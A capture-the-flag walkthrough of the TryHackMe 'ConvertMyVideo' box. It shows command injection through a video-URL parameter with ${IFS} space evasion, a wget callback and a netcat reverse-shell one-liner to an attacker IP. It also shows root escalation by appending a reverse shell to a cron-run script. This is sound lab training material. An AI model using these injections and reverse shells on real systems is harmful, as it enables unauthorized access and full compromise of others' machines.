# THM | ConvertMyVideo

This is a Linux box. You can find it [here](https://tryhackme.com/r/room/convertmyvideo).

#### Skill Learned

* Command Injection
* Finding Cron via Pspy64&#x20;

## NMAP

IP:10.10.185.77

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FyXST0qVy2mQQn82zk41H%2Fimage.png?alt=media&#x26;token=101acd4e-5d36-405f-af81-6982edb2c44f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FBDxnq1CYzda9D6O6fvQ5%2Fimage.png?alt=media&#x26;token=e2c00c89-e7ac-41d2-81a8-f41164883d75" alt=""><figcaption><p>nmap</p></figcaption></figure>

### Port 80

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fk38XFdlnxFRLAar5FeTA%2Fimage.png?alt=media&#x26;token=f72b2b63-3360-4370-a2f4-a4e1655ebb7d" alt=""><figcaption><p>port 80</p></figcaption></figure>

start burp

we found an error in the response

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FQVp2qeoIN0ZVlbnzz0QU%2Fimage.png?alt=media&#x26;token=cefe55a5-b6a5-410b-96cc-ae03e19b7246" alt=""><figcaption><p>burp</p></figcaption></figure>

## Foothold/shell

we can try for command injection&#x20;

```
`whoami`
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FHmXqjkGWgWEsLmFHLzWz%2Fimage.png?alt=media&#x26;token=15111939-564f-451b-b4b0-725f300d28f3" alt=""><figcaption><p><code>whoami</code></p></figcaption></figure>

we get www-data

Let's see if we can get a hit on our machine using wget, more on ${IFS} [refer this](https://www.baeldung.com/linux/ifs-shell-variable)

```
using yt_url=`wget${IFS}http://10.9.0.78/`
```

we get the hit

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FBauEyIBCsw2MJNYrIGVy%2Fimage.png?alt=media&#x26;token=4dd71466-8c97-4522-8b42-bd51210aa505" alt=""><figcaption></figcaption></figure>

Let's try for a [reverse shell](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)&#x20;

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

replace " " with ${IFS} and "&" with %26

we get the shell but the connection is lost soon

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FYGx2dqWB1f0uWHct18wj%2Fimage.png?alt=media&#x26;token=3bd030d9-e40c-450c-b27c-59575abdd5c5" alt=""><figcaption></figcaption></figure>

let's try uploading the script and then executing it

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F2nJj6TKPlDmfWzIsdgeC%2Fimage.png?alt=media&#x26;token=3d52ab27-a0e4-4fde-b61c-5eb0eaa12067" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fe7Lun8Y3UJh0i3AHCv5u%2Fimage.png?alt=media&#x26;token=bb6376a4-dff2-4121-910f-dc11f7c1a232" alt=""><figcaption></figcaption></figure>

now let's execute it

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FpLMhYRHEYYVcoTu5gi2l%2Fimage.png?alt=media&#x26;token=22579838-b0cf-487b-a87d-e2431ee5c0fa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FpRH9f5Vu8pHgpsMWV8Xz%2Fimage.png?alt=media&#x26;token=f25d3670-8777-4421-a659-cac93e426724" alt=""><figcaption></figcaption></figure>

found flag.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FhiqCb0aCJeE74RMvzQXO%2Fimage.png?alt=media&#x26;token=31789397-5686-49b0-adb1-20bfea42f761" alt=""><figcaption><p>flag.txt</p></figcaption></figure>

## Priv Esc

copy LinEnum.sh to the box and run it

we found cron is running

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FuFDzy6IJsyg0qWN0uxZC%2Fimage.png?alt=media&#x26;token=8f33dfe4-1eb7-46c1-87e4-6c9ce4530e76" alt=""><figcaption><p>found cron running</p></figcaption></figure>

Let's copy pspy64 to the box and run

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FBoUtMcSKfMg1JdOznqFy%2Fimage.png?alt=media&#x26;token=9042d1d0-4f64-4aeb-8bdb-b250499b3a57" alt=""><figcaption><p>./pspy64</p></figcaption></figure>

I found the cron script clean.sh

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fh7MgQKkGfs088l8leIPs%2Fimage.png?alt=media&#x26;token=6e5c6add-eefb-4dc7-93d9-8f6916ed671e" alt=""><figcaption><p>cat clean.sh</p></figcaption></figure>

we can append the reverse shell and since it is triggered by the root we might get root shell

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FtGkc5wVWP0RsXjyU8BSI%2Fimage.png?alt=media&#x26;token=c5acc4fb-1423-4539-9fa9-e7eb3f0c1e8c" alt=""><figcaption><p>edit clean.sh</p></figcaption></figure>

and wait for it to trigger

and we are the root

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FJ4d57rIFEJehJtmPGjXo%2Fimage.png?alt=media&#x26;token=f546fdc2-be02-4970-88d5-38794d60b60a" alt=""><figcaption><p>root</p></figcaption></figure>
